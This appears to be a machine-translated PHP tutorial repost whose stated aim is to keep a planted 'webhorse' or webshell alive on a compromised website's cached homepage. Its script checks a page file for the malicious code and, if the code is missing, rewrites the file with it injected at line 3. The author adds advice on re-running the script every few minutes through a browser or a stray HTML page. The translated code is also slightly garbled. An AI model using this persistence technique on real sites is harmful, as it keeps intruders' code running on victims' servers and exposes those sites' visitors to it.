PHP writes code in the specified line of the file_PHP tutorial

Some website homepages are cached pages, and the webhorse code or webshell code you added is often killed by updates or other factors, so I created this code:


$file="aa.php" ;

$code="";

$f=fopen($file,"r+");

$content=fread($f,filesize($file));

fclose($f);

if(!strstr($content,$code)){

$arrInsert = insertContent($file, $code, 3);

unlink($file);



foreach($arrInsert as $value)

{

file_put_contents($file, $value, FILE_APPEND);

}



}



function insertContent($source, $s, $iLine) {

$file_handle = fopen($source, "r");

$i = 0;

$arr = array();

while (!feof($file_handle)) {

$line = fgets($file_handle);

++$i;

if ($i == $iLine) {

$arr[] = $line .$s . "n";

}else {

$arr[] = $line;

}

}

fclose($file_handle);

return $arr;

}

?>

After saving this file into php, you can use a small program to execute it every few minutes. Browsers like Opera have this function. But I added another html code to run it. You can use IE. You can just open the html and throw it wherever you want.

http://www.bkjia.com/PHPjc/478274.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/478274.htmlTechArticleSome website homepages are cached pages. The web horse code or webshell code you added is often updated or other factors were eliminated, so I created this code: ?php $file=aa.php; $code=scrip...